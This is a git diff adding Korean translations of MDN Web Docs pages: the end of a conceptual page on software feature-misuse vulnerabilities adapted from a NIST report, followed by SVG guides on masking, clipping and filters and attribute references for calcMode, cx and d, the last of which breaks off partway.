+<p><font>소프트웨어 기능은 소프트웨어에서 제공하는 기능입니다. </font><font><em>소프트웨어 기능 오용 취약점</em>은 시스템 보안을 손상시키는 방법도 제공합니다. </font><font>이러한 취약점은 소프트웨어 디자이너가 유익한 기능을 제공하도록 허용하는 신뢰 가정을 만드는 한편, 누군가가 보안 손상에 대한 신뢰 가정을 위반할 가능성을 초래하기 때문입니다.</font></p>
+
+<p><font>예를 들어, 이메일 클라이언트 소프트웨어는 이메일 메시지에 HTML컨텐츠를 렌더링 하는 기능을 포함할 수 있습니다. </font><font>공격자는 HTML로 렌더링 된 하이퍼링크가 포함된 사기성 전자 메일 메시지를 조작할 수 있습니다. 하이퍼링크는 수신인에게 양호한 것으로 표시되지만 클릭하면 실제로 수신인을 악성 웹 사이트로 가져옵니다. </font><font>HTML콘텐츠 렌더링 기능 설계 시 신뢰할 수 있는 가정 중 하나는 사용자가 악의적인 하이퍼링크를 수신하지 않고 클릭하지 않는다는 것입니다.</font></p>
+
+<p><font>소프트웨어 기능 오용 취약점은 소프트웨어 또는 소프트웨어 구성 요소의 설계 중에 발생합니다(예:소프트웨어가 구현하는 프로토콜). </font><font>신뢰 가정은 사실일 수 있습니다. 예를 들어, 설계자는 보안 약점을 인식하고 별도의 보안 통제가 이를 보상할 것이라고 판단합니다.</font></p>
+
+<p><font>그러나, 신뢰가 도입할 위험을 먼저 평가하지 않고 특징을 생성하는 것과 같이, 신뢰 가정은 주로  암묵적입니다. 위협 요소는 소프트웨어 수명 주기 또는 소프트웨어에 사용되는 프로토콜에 따라 변경될 수도 있습니다.</font></p>
+
+<p><font>예를 들어 주소 결정 프로토콜(ARP)는 ARP 응답이 매체 접근 제어(MAC) 및 인터넷 프로토콜(IP) 주소 간의 올바른 매핑을 포함하고 있다고 신뢰합니다. </font><font>ARP 캐시는 유용한 서비스를 제공하기 위해 이 정보를 사용하여 로컬 네트워크 내의 장치 간에 데이터를 보낼 수 있도록 합니다. </font><font>하지만 공격자는 잘못된 ARP 메시지를 생성하여 시스템의 ARP 테이블을 손상시키고 서비스 거부 또는 메시지 가로채기(man-in-the-middle)공격을 시작합니다.</font></p>
+
+<p><font>ARP 프로토콜은 25년 전에 표준화되었으며, 그 이후로 위협이 크게 변화하여, 설계에 내재한 신뢰 가정이 현재에도 여전히 타당하지는 않을 것입니다.</font></p>
+
+<p><font>소프트웨어 기능 오용 취약점을 다른 두 범주와 구별하기 어려울 수도 있습니다. 예를 들어, 소프트웨어 결함 및 오용 취약점은 소프트웨어 설계 프로세스의 결함으로 인해 발생할 수 있습니다. 하지만 소프트웨어 결함은 보안이나 기능에 긍정적인 이점을 제공하지 않으므로 추가 기능 제공의 결과로 소프트웨어 기능 오용 취약점이 발생할 수 있습니다.</font></p>
+
+<p><font>또한 어떤 면에서 구성된 방식으로 기능을 활성화하거나 비활성화할 수 있는 기능의 오용 취약점과 보안 구성 문제에  대해서도 혼동이 발생할 수 있습니다. 주요 차이점은 오용 취약점의 경우 구성 설정이 전체 기능을 활성화 또는 비활성화하고 전체 기능만 특별히 변경하지 않는다는 것입니다. 보안 구성 문제의 경우 구성 설정은 소프트웨어의 보안만 변경합니다.</font></p>
+
+<p><font>예를 들어 전자 메일에서 HTML을 모두 사용할 수 없도록 설정하면 보안 및 기능에 큰 영향을 미치므로 이 설정과 관련된 취약성은 오용 취약점이 됩니다. 전자 메일 클라이언트에서 암호화 기능을 사용하지 않도록 설정하면 보안에만 큰 영향을 미치므로 이 설정의 취약점은 보안 구성 문제 취약성으로 간주됩니다.</font></p>
+
+<h2 id="취약점의_존재">취약점의 존재</h2>
+
+<p><font>100% 안전한 시스템은 없습니다. 모든 시스템에 취약점이 있습니다. 어</font><font>느 때나 시스템에 알려진 소프트웨어 결함이 없을 수 있지만 보안 구성 문제 및 소프트웨어 기능 오용 취약점은 항상 존재합니다.</font></p>
+
+<p><font>각 기능은 신뢰성 평가를 기반으로 해야 하기 때문에 소프트웨어 기능에는 남용 취약점이 내재되어 있으며, 이러한 가정은 상당한 비용과 노력이 수반되지만 손상될 수 있습니다. </font><font>보안 구성 문제도 다음의 두가지 이유로 불가피합니다.</font></p>
+
+<p><font>첫째, 대부분의 구성 설정은 기능을 줄이는 대신 보안을 강화하므로 가장 안전한 설정을 사용하면 소프트웨어를 사용할 수 없거나 사용할 수 없게 될 수 있습니다. </font><font>둘째, 많은 보안 설정은 보안에 긍정적인 영향과 부정적인 영향을 모두 미칩니다.</font></p>
+
+<p><font>예를 들어, 사용자 계정을 잠그기 전에 허용하려는 연속적인 인증 실패 횟수를 들 수 있습니다. </font><font>이를 1로 설정하면 암호 추측 공격에 대한 가장 안전한 설정이 되지만 합법적인 사용자가 암호를 한번 잘못 해독하면 계정 하나를 더 쉽게 생성할 수 있습니다.</font></p>
+
+<p><font>보안 구성 설정 및 소프트웨어 기능 오용 가능성에 내재된 취약점의 수와 지정된 시간에 시스템의 소프트웨어 결함 취약점의 수 때문에 단일 시스템에는 수 십 개 또는 수 백 개의 취약점이 있을 수 있습니다.</font></p>
+
+<p><font>이러한 취약점은 다양한 특성을 가질 수 있습니다. </font><font>어떤 것들은 매우 이용하기 쉬운 반면, 다른 것들은 매우 가능성이 적은 조건들의 조합에 의해서만 설명될 수 있을 것이다.</font></p>
+
+<p><font>한 취약점은 시스템에 대한 루트 수준 액세스를 제공하는 반면 다른 취약성은 중요하지 않은 파일에 대한 읽기 액세스만 허용할 수 있습니다.</font></p>
+
+<p><font>궁극적으로 조직은 누군가가 각 취약성을 이용하는 것이 얼마나 어려운지, 그리고 취약점을 이용할 경우 어떤 영향을 미칠 수 있는지 알아야 합니다.</font></p>
+
+<h2 id="웹사이트의_취약점">웹사이트의 취약점</h2>
+
+<p><font>OWASP또는 Open Web Security Project는 소프트웨어 및 웹 응용 프로그램의 보안을 향상시키는 데 초점을 맞춘 비영리 자선 단체입니다. Open Web Application Security Project에 따르면, XSS는 2017년에</font> <a href="https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" rel="noopener">7번째로 흔한 웹 응용 프로그램 취약점</a> <font>이었습니다.</font></p>
+
+<p><font>이 단체은 다양한 보안 조직의 데이터를 기반으로 상위 웹 보안 취약점 목록을 게시합니다.</font></p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/Security">웹 보안</a><font>취약성은 WordPress, Joomla, Magento, Wocommerce등의 CMS가 될 수 있는 배포 가능성, 탐지 가능성 및 소프트웨어 영향에 따라 우선 순위가 지정됩니다.</font></p>
+
+<p><font>다음은 자신을 보호해야 하는 6가지 가장 일반적인 웹 사이트 취약성입니다.</font></p>
+
+<p><font><font>1. SQL주입</font></font><br>
+ 2. <a href="https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting">사이트간 스크립팅(XSS)</a><br>
+ <font><font>3. 망가진 인증 및 세션 관리<a href="https://papago.naver.net/apis/site/proxy?data=lY2EyqzIfo3Oypv5go3ccoTkuYz9lMl9yov1IHl9xo2AmY0SlL2ucqzHiFJEyoaEcqUyALJ5uM2IlVa1IC0RlrlW1pzjvBvWbqUEjpmbi">-</a></font></font><a href="https://developer.mozilla.org/en-US/docs/Archive/IdentityManager"> IdentityManager</a><br>
+ <font><font>4. 안전하지 않은 직접 객체 참조 <a href="https://papago.naver.net/apis/site/proxy?data=JW1pzjvBvWbqUEjpmbiY2EyqzIfo3Oypv5go3ccoTkuYz9lMl9yov1IHl9xo2AmY0qfo3AmLKW5Y0ECGFW9F3EHrl">- </a></font></font><a href="https://developer.mozilla.org/en-US/docs/Glossary/DOM">DOM (문서 객체 모델)</a><br>
+ <font><font>5. 보안 오구성</font></font><br>
+ 6. <a href="https://developer.mozilla.org/en-US/docs/Glossary/CSRF">사이트 간 요청 위조(CSRF)</a></p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="https://www.owasp.org/">Open Web Application Security Project (OWASP)</a></li>
+ <li><a href="https://cve.mitre.org/">Common Vulnerabilities and Exposures (CVE)</a></li>
+ <li><a href="https://secure.wphackedhelp.com/blog/wordpress-vulnerabilities-how-to-fix-guide-tools/">Common WordPress Security Vulnerabilities</a></li>
+ <li><a href="https://en.wikipedia.org/wiki/Vulnerability_database">Vulnerability database</a></li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Elizabeth LeMay, Karen Scarfone, and Peter Mell</li>
+ <li>Title: National Institute of Standards and Technology (NIST) Interagency Report 7864, The Common Misuse Scoring System (CMSS): Metrics for Software Feature Misuse Vulnerabilities</li>
+ <li>Last Updated Date: July 2012</li>
+ <li>Copyright Information: This document is not subject to copyright.</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/web/svg/applying_svg_effects_to_html_content/index.html b/files/ko/web/svg/applying_svg_effects_to_html_content/index.html
new file mode 100644
index 0000000000..fc36e06d4c
--- /dev/null
+++ b/files/ko/web/svg/applying_svg_effects_to_html_content/index.html
@@ -0,0 +1,229 @@
+---
+title: HTML 컨텐츠에 SVG 효과 적용하기
+slug: Web/SVG/Applying_SVG_effects_to_HTML_content
+tags:
+  - CSS
+  - HTML
+  - SVG
+  - SVG 효과
+  - 가이드
+  - 필터
+translation_of: Web/SVG/Applying_SVG_effects_to_HTML_content
+---
+<p>모던 브라우저들은 HTML 콘텐트에 그래픽 효과를 적용하기 위해 <a href="/ko/docs/web/CSS" title="Cascading Style Sheets">CSS</a> 스타일 내에 <a href="/ko/docs/Web/SVG">SVG</a>를 사용하는 것을 지원합니다.</p>
+
+<p>스타일에서의 SVG는, 동일 문서 또는 외부 스타일 시트 어느 쪽에서도 지정할 수 있습니다. 다음 3가지 속성이 사용 가능합니다: <a href="/ko/docs/Web/CSS/mask"><code>mask</code></a>, <a href="/ko/docs/Web/CSS/clip-path"><code>clip-path</code></a>, and <a href="/ko/docs/Web/CSS/filter"><code>filter</code></a>.</p>
+
+<div class="note"><strong>Note:</strong> 외부 파일에서 SVG를 참조할 때는, 반드시 참조하는 원래 문서와 <a href="/ko/docs/Web/Security/Same-origin_policy">동일한 출처</a>에서 이뤄져야 합니다.</div>
+
+<h2 id="임베디드_SVG_사용하기">임베디드 SVG 사용하기</h2>
+
+<p>CSS 스타일을 이용해 SVG 효과를 적용하기 위해서, 먼저 적용할 SVG를 참조하는 CSS 스타일을 작성해야 합니다.</p>
+
+<pre class="brush: html">&lt;style&gt;p { mask: url(#my-mask); }&lt;/style&gt;
+</pre>
+
+<p>위의 예제에서, 모든 문단은 <a href="/ko/docs/Web/HTML/Global_attributes/id">ID</a>가 <code>my-mask</code>인 <a href="/ko/docs/Web/SVG/Element/mask">SVG <code>&lt;mask&gt;</code></a>에 의해 마스크 처리됩니다.</p>
+
+<h3 id="Example_Masking">Example: Masking</h3>
+
+<p>다음의 예는 HTML 문서 내에 CSS 코드와 SVG를 사용해서, HTML 콘텐트에 그래디언트 마스크를 만든 것입니다:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;mask id="mask-1"&gt;
+    &lt;linearGradient id="gradient-1" y2="1"&gt;
+      &lt;stop stop-color="white" offset="0"/&gt;
+      &lt;stop stop-opacity="0" offset="1"/&gt;
+    &lt;/linearGradient&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/&gt;
+    &lt;rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/&gt;
+  &lt;/mask&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  mask: url(#mask-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
+<p>Note that in the CSS, the mask is specified using a URL to the ID <code>#mask-1</code>, which is the ID of the SVG mask specified below it. Everything else specifies details about the gradient mask itself.</p>
+
+<p>Applying the SVG effect to (X)HTML is accomplished by assigning the <code>target</code> class defined above to an element, like this:</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>The above example would be rendered with the mask applied to it.</p>
+
+<p>{{EmbedLiveSample('Example_Masking', 650, 200)}}</p>
+
+<h3 id="Example_Clipping">Example: Clipping</h3>
+
+<p>This example demonstrates using SVG to clip HTML content. Notice that even the clickable areas for links are clipped.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background:lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+
+&lt;button onclick="toggleRadius()"&gt;Toggle radius&lt;/button&gt;
+
+&lt;svg height="0"&gt;
+  &lt;clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox"&gt;
+    &lt;circle cx="0.25" cy="0.25" r="0.25" id="circle"/&gt;
+    &lt;rect x="0.5" y="0.2" width="0.5" height="0.8"/&gt;
+  &lt;/clipPath&gt;
+&lt;/svg&gt;
+</pre>
+
+<pre class="brush: css">.target {
+  clip-path: url(#clipping-path-1);
+}
+p {
+  width: 300px;
+  border: 1px solid #000;
+  display: inline-block;
+}</pre>
+
+<p>This establishes a clipping area made of a circle and rectangle, assigns it the ID <code>#clipping-path-1</code>, then references it in the CSS. The clip path can be assigned to any element with the <code>target</code> class.</p>
+
+<p>You can make changes to the SVG in real time and see them immediately affect the rendering of the HTML. For example, you can resize the circle in the clip path established above:</p>
+
+<pre class="brush: js">function toggleRadius() {
+  var circle = document.getElementById("circle");
+  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Example_Clipping', 650, 200)}}</p>
+
+<h3 id="Example_Filtering">Example: Filtering</h3>
+
+<p>This demonstrates applying a filter to HTML content using SVG. It establishes several filters, which are applied with CSS to three elements in both the normal and mouse <a href="/ko/docs/Web/CSS/:hover">hover</a> states.</p>
+
+<pre class="brush: html">&lt;p class="target" style="background: lime;"&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+&lt;/p&gt;
+&lt;pre class="target"&gt;lorem&lt;/pre&gt;
+&lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipisicing
+    &lt;b class="target"&gt;elit, sed do eiusmod tempor incididunt
+    ut labore et dolore magna aliqua.&lt;/b&gt;
+    Ut enim ad minim veniam.
+&lt;/p&gt;
+</pre>
+
+<p>Any SVG filter can be applied this way. For example, to apply a blur effect, you might use:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f1"&gt;
+    &lt;feGaussianBlur stdDeviation="3"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;</pre>
+
+<p>You could also apply a color matrix:</p>
+
+<pre class="brush: html">&lt;svg height="0"&gt;
+  &lt;filter id="f2"&gt;
+    &lt;feColorMatrix values="0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0.3333 0.3333 0.3333 0 0
+                           0      0      0      1 0"/&gt;
+  &lt;/filter&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>And some more filters:</p>
+
+<pre class="brush: html"><span>&lt;svg height="0"&gt;
+</span>  &lt;filter id="f3"&gt;
+    &lt;feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
+      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f4"&gt;
+    &lt;feSpecularLighting surfaceScale="5" specularConstant="1"
+                        specularExponent="10" lighting-color="white"&gt;
+      &lt;fePointLight x="-5000" y="-10000" z="20000"/&gt;
+    &lt;/feSpecularLighting&gt;
+  &lt;/filter&gt;
+  &lt;filter id="f5"&gt;
+    &lt;feColorMatrix values="1 0 0 0 0
+                           0 1 0 0 0
+                           0 0 1 0 0
+                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/&gt;
+  &lt;/filter&gt;
+<span>&lt;/svg&gt;</span></pre>
+
+<p>The five filters are applied using the following CSS:</p>
+
+<pre class="brush: css">p.target { filter:url(#f3); }
+p.target:hover { filter:url(#f5); }
+b.target { filter:url(#f1); }
+b.target:hover { filter:url(#f4); }
+pre.target { filter:url(#f2); }
+pre.target:hover { filter:url(#f3); }
+</pre>
+
+<p>{{EmbedLiveSample('Example_Filtering', 650, 200)}}</p>
+
+<p style="display: none;"><a class="button liveSample" href="/files/3329/filterdemo.xhtml">View this example live</a></p>
+
+<h3 id="Example_Blurred_Text">Example: Blurred Text</h3>
+
+<p>In order to blur text, Webkit based browsers have a (prefixed) CSS filter called blur (see also <a href="/ko/docs/Web/CSS/filter#blur%28%29_2">CSS filter</a>). You can achieve the same effect using SVG filters.</p>
+
+<pre class="brush: html">&lt;p class="blur"&gt;Time to clean my glasses&lt;/p&gt;
+&lt;svg height="0"&gt;
+  &lt;defs&gt;
+    &lt;filter id="wherearemyglasses" x="0" y="0"&gt;
+    &lt;feGaussianBlur in="SourceGraphic" stdDeviation="1"/&gt;
+    &lt;/filter&gt;
+  &lt;/defs&gt;
+&lt;/svg&gt;
+</pre>
+
+<p>You can apply the SVG and the CSS filter in the same class:</p>
+
+<pre class="brush: css">.blur { filter: url(#wherearemyglasses); }</pre>
+
+<p>{{ EmbedLiveSample('Example_Blurred_Text', 300, 100) }}</p>
+
+<p>Blurring is computation heavy, so ensure to use it sparingly, especially in elements that get scrolled or animated.</p>
+
+<h2 id="Using_external_references">Using external references</h2>
+
+<p>SVG used for clipping, masking, and filtering can be loaded from an external source, as long as that source comes from the same origin as the HTML document to which it's applied.</p>
+
+<p>For example, if your CSS is in a file named <code>default.css</code>, it can look like this:</p>
+
+<pre class="brush: css" id="line1">.target { clip-path: url(resources.svg#c1); }</pre>
+
+<p>The SVG is then imported from a file named <code>resources.svg</code>, using the clip path with the ID <code>c1</code>.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/ko/docs/SVG" title="SVG">SVG</a></li>
+ <li><a class="external" href="http://robert.ocallahan.org/2008/06/applying-svg-effects-to-html-content_04.html">SVG Effects for HTML Content</a> (blog post)</li>
+ <li><del><a class="external" href="/web-tech/2008/10/10/svg-external-document-references">SVG External Document References</a></del> (blog post) (<a href="http://web.archive.org/web/20120512132948/https://developer.mozilla.org/web-tech/2008/10/10/svg-external-document-references/" title="Web Tech Blog » Blog Archive » SVG External Document References">[archive.org] Web Tech Blog » Blog Archive » SVG External Document References</a>)</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/calcmode/index.html b/files/ko/web/svg/attribute/calcmode/index.html
new file mode 100644
index 0000000000..dd2d0424f7
--- /dev/null
+++ b/files/ko/web/svg/attribute/calcmode/index.html
@@ -0,0 +1,55 @@
+---
+title: calcMode
+slug: Web/SVG/Attribute/calcMode
+translation_of: Web/SVG/Attribute/calcMode
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>이 속성은 애니메이션의 interpolation 모드를 지정합니다. 기본 모드는 linear 이지만 속성이 linear interpolation을 지원하지 않으면(예: 문자열의 경우) calcMode 속성이 무시되고 discrete interpolation이 사용됩니다. </p>
+
+<h2 id="Usage_context">Usage context</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>Animation value attribute</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td>discrete | linear | paced | spline</td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>No</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/animate.html#CalcModeAttribute" title="http://www.w3.org/TR/SVG/animate.html#CalcModeAttribute">SVG 1.1 (2nd Edition)</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<dl>
+ <dt>discrete</dt>
+ <dd>이것은 애니메이션 함수가 interpolation 없이 하나의 값에서 다음 값으로 점프하도록 지정합니다.</dd>
+ <dt>linear</dt>
+ <dd>값 사이의 단순한 linear interpolation은 애니메이션 함수를 계산하는데 사용됩니다. {{ SVGElement("animateMotion") }}의 경우를 제외하고는 이것은 기본 값입니다.</dd>
+ <dt>paced</dt>
+ <dd>Defines interpolation to produce an even pace of change across the animation. This is only supported for values that define a linear numeric range, and for which some notion of "distance" between points can be calculated (e.g. position, width, height, etc.). If paced is specified, any {{ SVGAttr("keyTimes") }} or {{ SVGAttr("keySplines") }} will be ignored. For {{ SVGElement("animateMotion") }}, this is the default value.</dd>
+ <dt>spline</dt>
+ <dd>cubic Bézier spline에 정의된 시간 함수에 따라 {{ SVGAttr("values") }} 목록의 한 값에서 다음 값으로 interpolation 합니다. spline의 점(point)은 {{ SVGAttr("keyTimes") }} 속성에 정의되고,  각 간격의 제어점은 {{ SVGAttr("keySplines") }} 속성에 정의됩니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h2 id="Elements">Elements</h2>
+
+<p>다음 요소에서 calcMode 속성을 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{ SVGElement("animate") }}</li>
+ <li>{{ SVGElement("animateColor") }}</li>
+ <li>{{ SVGElement("animateMotion") }}</li>
+ <li>{{ SVGElement("animateTransform") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/cx/index.html b/files/ko/web/svg/attribute/cx/index.html
new file mode 100644
index 0000000000..74197f7843
--- /dev/null
+++ b/files/ko/web/svg/attribute/cx/index.html
@@ -0,0 +1,67 @@
+---
+title: cx
+slug: Web/SVG/Attribute/cx
+translation_of: Web/SVG/Attribute/cx
+---
+<p>« <a href="/en/SVG/Attribute" title="en/SVG/Attribute">SVG Attribute reference home</a></p>
+
+<p>{{ SVGElement("circle") }}과  {{ SVGElement("ellipse") }}엘리먼트에서 사용될 경우, 본 속성은 엘리먼트의 중심의 x축의 위치를 나타낸다. 속성이 정의되어있지 않을 경우 속성 값이 "0"일 경우와 동일한 형태를 나타내게 된다.</p>
+
+<p>{{ SVGElement("radialGradient") }} 엘리먼트의 경우에는 본 속성은 원형 그래디언트의 가장 큰 원의 x축의 위치를 나타낸다. 그래디언트는 가장 큰 원의 둘레와 일치할 수 있도록 그려질것입니다. 속성이 정의되어있지 않을 경우 속성 값이 <strong>50%</strong>일 경우와 동일한 효과를 나타내게 된다.</p>
+
+<p>Usage context</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Categories</th>
+   <td>None</td>
+  </tr>
+  <tr>
+   <th scope="row">Value</th>
+   <td><a href="/en/SVG/Content_type#Coordinate" title="https://developer.mozilla.org/en/SVG/Content_type#Coordinate">&lt;coordinate&gt;</a></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+  <tr>
+   <th scope="row">Normative document</th>
+   <td><a class="external" href="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#CircleElementCXAttribute">SVG 1.1 (2nd Edition): The circle element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute" title="http://www.w3.org/TR/SVG/shapes.html#EllipseElementCXAttribute">SVG 1.1 (2nd Edition): The ellipse element</a><br>
+    <a class="external" href="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute" title="http://www.w3.org/TR/SVG/pservers.html#RadialGradientElementCXAttribute">SVG 1.1 (2nd Edition): The radialGradient element</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{ page("/en/SVG/Content_type","Coordinate") }}</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: xml">  &lt;svg width="120" height="220"
+     viewPort="0 0 120 120" version="1.1"
+     xmlns="http://www.w3.org/2000/svg"&gt;
+
+    &lt;style type="text/css" &gt;
+
+      &lt;![CDATA[
+       circle.circleClass {
+       stroke: #006600;
+       fill:   #cc0000;
+    }
+
+      ]]&gt;
+    &lt;/style&gt;
+     &lt;circle  class="circleClass"   cx="40" cy="50" r="26"/&gt;
+&lt;/svg&gt;
+</pre>
+
+<h2 id="엘리먼트">엘리먼트</h2>
+
+<p>다음 엘리먼트에서 <code>cx</code>속성을 사용할 수 있습니다.</p>
+
+<ul>
+ <li>{{ SVGElement("circle") }}</li>
+ <li>{{ SVGElement("ellipse") }}</li>
+ <li>{{ SVGElement("radialGradient") }}</li>
+</ul>
diff --git a/files/ko/web/svg/attribute/d/index.html b/files/ko/web/svg/attribute/d/index.html
new file mode 100644
index 0000000000..19f60cdac9
--- /dev/null
+++ b/files/ko/web/svg/attribute/d/index.html
@@ -0,0 +1,575 @@
+---
+title: d
+slug: Web/SVG/Attribute/d
+translation_of: Web/SVG/Attribute/d
+---
+<div>{{SVGRef}}</div>
+
+<p><strong><code>d</code></strong>  속성은 그릴 패스를 정의합니다.</p>
+
+<p>A path definition is a list of <a href="#Path_commands">path commands</a> where each command is composed of a command letter and numbers that represent the command parameters. The commands are detailed below.</p>
+
+<p>Three elements have this attribute: {{SVGElement("path")}}, {{SVGElement("glyph")}}, and {{SVGElement("missing-glyph")}}</p>
+
+<div id="Example">
+<div class="hidden">
+<pre class="brush: css">html,body,svg { height:100% }</pre>
+</div>
+
+<pre class="brush: html">&lt;svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"&gt;
+  &lt;path fill="none" stroke="red"
+    d="M 10,30
+       A 20,20 0,0,1 50,30
+       A 20,20 0,0,1 90,30
+       Q 90,60 50,90
+       Q 10,60 10,30 z" /&gt;
+&lt;/svg&gt;</pre>
+
+<p>{{EmbedLiveSample('Example', '100%', 200)}}</p>
+</div>
+
+<h2 id="path">path</h2>
+
+<p>For {{SVGElement('path')}}, <code>d</code> is a string containing a series of path commands that define the path to be drawn.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="glyph">glyph</h2>
+
+<p class="warning"><strong>Warning:</strong> As of SVG2 {{SVGElement('glyph')}} is deprecated and shouldn't be used.</p>
+
+<p>For {{SVGElement('glyph')}}, <code>d</code> is a string containing a series of path commands that define the outline shape of the glyph.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<p class="note"><strong>Note:</strong> The point of origin (the coordinate <code>0</code>,<code>0</code>) is usually the <em>upper left corner</em> of the context. However the {{SVGElement("glyph")}} element has its origin in the <em>bottom left corner</em> of its letterbox.</p>
+
+<h2 id="missing-glyph">missing-glyph</h2>
+
+<p class="warning"><strong>Warning:</strong> As of SVG2 {{SVGElement('missing-glyph')}} is deprecated and shouldn't be used.</p>
+
+<p>For {{SVGElement('missing-glyph')}}, <code>d</code> is a string containing a series of path commands that define the outline shape of the glyph.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Value</th>
+   <td><strong><a href="/docs/Web/SVG/Content_type#String">&lt;string&gt;</a></strong></td>
+  </tr>
+  <tr>
+   <th scope="row">Default value</th>
+   <td><em>none</em></td>
+  </tr>
+  <tr>
+   <th scope="row">Animatable</th>
+   <td>Yes</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Path_commands">Path commands</h2>
+
+<p>Path commands are instructions that define a path to be drawn. Each command is composed of a command letter and numbers that represent the command parameters.</p>
+
+<p>SVG defines 6 types of path commands, for a total of 20 commands:</p>
+
+<ul>
+ <li>MoveTo: <code>M</code>, <code>m</code></li>
+ <li>LineTo: <code>L</code>, <code>l</code>, <code>H</code>, <code>h</code>, <code>V</code>, <code>v</code></li>
+ <li>Cubic Bézier Curve: <code>C</code>, <code>c</code>, <code>S</code>, <code>s</code></li>
+ <li>Quadratic Bézier Curve: <code>Q</code>, <code>q</code>, <code>T</code>, <code>t</code></li>
+ <li>Elliptical Arc Curve: <code>A</code>, <code>a</code></li>
+ <li>ClosePath: <code>Z</code>, <code>z</code></li>
+</ul>
+
+<p class="note"><strong>Note:</strong> Commands are case-sensitive; an upper-case command specifies its arguments as absolute positions, while a lower-case command specifies points relative to the current position.</p>
+
+<p>It is always possible to specify a negative value as an argument to a command: negative angles will be anti-clockwise; absolute x and y positions will be taken as negative coordinates; negative relative x values will move to the left; and negative relative y values will move upwards.</p>
+
+<h3 id="MoveTo_path_commands">MoveTo path commands</h3>
+
